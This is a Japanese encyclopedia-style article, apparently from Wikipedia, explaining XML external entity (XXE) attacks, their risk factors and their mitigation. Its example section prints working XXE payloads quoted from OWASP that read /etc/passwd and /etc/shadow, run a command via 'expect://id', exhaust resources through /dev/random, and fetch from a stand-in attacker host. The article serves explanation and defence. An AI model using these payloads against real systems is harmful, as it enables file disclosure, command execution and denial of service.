XML 外部エンティティ攻撃( XXE 攻撃とも呼ばれる) は、 XML入力を解析するアプリケーションに対する攻撃の一種です。この攻撃は、外部エンティティへの参照を含む XML 入力が、脆弱に構成された XML パーサーによって処理されるときに発生します。この攻撃により、機密データの漏洩、DoS 攻撃、サーバー側リクエスト フォージェリ、パーサーが配置されているマシンからのポート スキャン、その他の[どれ? ]システムへの影響が発生する可能性があります。[1]
説明
XML 1.0 標準は、XML 文書の構造を定義します。この標準では、エンティティと呼ばれる概念が定義されています。これは、複数の種類のデータ ユニットを指す用語です。これらの種類のエンティティの 1 つは、外部の一般/パラメータ解析エンティティ (多くの場合、外部エンティティと略されます) で、宣言されたシステム識別子を介してローカルまたはリモート コンテンツにアクセスできます。システム識別子は、エンティティを処理するときに XML プロセッサがアクセスできるURIであると想定されます。次に、XML プロセッサは、名前付き外部エンティティの出現箇所を、システム識別子によって参照されるコンテンツに置き換えます。システム識別子に汚染されたデータが含まれており、XML プロセッサがこの汚染されたデータを逆参照すると、通常はアプリケーションがアクセスできない機密情報が XML プロセッサによって公開される可能性があります。同様の攻撃ベクトルとして、外部DTD、外部スタイル シート、外部スキーマなどが使用されます。これらが含まれる場合、同様の外部リソース包含スタイルの攻撃が可能になります。
file://攻撃には、システム識別子のスキームまたは相対パスを使用して、パスワードや個人のユーザーデータなどの機密データが含まれている可能性のあるローカルファイルを公開することが含まれる場合があります。攻撃は XML ドキュメントを処理するアプリケーションに関連して発生するため、攻撃者はこの信頼されたアプリケーションを使用して他の内部システムにピボットし、 HTTP要求を介して他の内部コンテンツを公開したり、保護されていない内部サービスに対してCSRF攻撃を開始したりする可能性があります。状況によっては、クライアント側のメモリ破損の問題に対して脆弱な XML プロセッサライブラリが、悪意のあるURI を逆参照することによって悪用され、アプリケーションアカウントで任意のコードが実行される可能性があります。他の攻撃は、データを返し続ける可能性のあるローカルリソースにアクセスし、解放されないスレッドやプロセスが多すぎるとアプリケーションの可用性に影響を与える可能性があります。
アプリケーションが攻撃者に明示的に応答を返す必要はなく、情報漏洩の脆弱性が存在します。攻撃者はDNS情報を利用して、サブドメイン名を通じて自分の管理下にあるDNSサーバーにデータを流出させる可能性があります。[2]
リスク要因
- アプリケーションは XML ドキュメントを解析します。
- 汚染されたデータは、ドキュメント型定義 (DTD) 内のエンティティのシステム識別子部分内で許可されます。
- XML プロセッサは、DTD を検証および処理するように構成されています。
- XML プロセッサは、DTD 内の外部エンティティを解決するように構成されています。
例
以下の例はOWASPの XMLインジェクションテスト(WSTG-INPV-07)からの抜粋です。[3]
返されない可能性のあるローカルリソースにアクセスする
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" > ]>
<foo> &xxe; </foo>
リモートコード実行
PHP の「expect」モジュールがロードされると、変更されたペイロードによって リモート コード実行が可能になる可能性があります。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" > ]>
<creds> <user> &xxe; </user> <pass> mypass </pass> </creds>
/etc/passwd やその他の標的ファイルの公開
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo> &xxe; </foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" > ]> <foo> &xxe; </foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" > ]> <foo> &xxe; </foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" > ]> <foo> &xxe; </foo>
緩和
XML ドキュメント全体が信頼できないクライアントから通信されるため、DTD のシステム識別子内の汚染されたデータを選択的に検証したりエスケープしたりすることは通常不可能です。XML プロセッサは、ローカルの静的 DTD を使用し、XML ドキュメントに含まれる宣言された DTD を禁止するように構成できます。
参照
参考文献
- ^ 「XML 外部エンティティ (XXE) 攻撃とは」。Acunetix 。2023年 11 月 13 日閲覧。
- ^ 「OWASP テスト ガイド v3」(PDF)。Open Web Application Security Project。2008 年。2023 年 11 月 13 日閲覧。
- ^ 「XMLインジェクションのテスト(WSTG-INPV-07)、Webセキュリティテストガイドv4.2」。OWASP。2020年12月3日。2021年4月20日時点のオリジナルよりアーカイブ。2023年3月16日閲覧。
外部リンク
- OWASP XML 外部エンティティ (XXE) 防止チートシート
- Timothy Morgan の 2014 年の論文: XML スキーマ、DTD、エンティティ攻撃 - 既知の手法の概要[リンク切れ ]
- 上記論文の前身となるプレゼンテーション - OWASP AppSec USA 2013 にて
- CWE-611: XML 外部エンティティ参照による情報漏洩
- CWE-827: 文書型定義の不適切な制御
- Sascha Herzog による XML 外部エンティティ攻撃に関するプレゼンテーション - OWASP AppSec Germany 2010 にて
- PostgreSQL XXE の脆弱性
- SharePoint と DotNetNuke XXE の脆弱性 (フランス語)
- XML サービス拒否攻撃と防御 (.NET の場合)
- XXE の初期 (2002) BugTraq 記事[リンク切れ ] 2019-09-02 にWayback Machineでアーカイブ
- XML 1.0 拡張マークアップ言語 (XML) 1.0 (第 5 版)
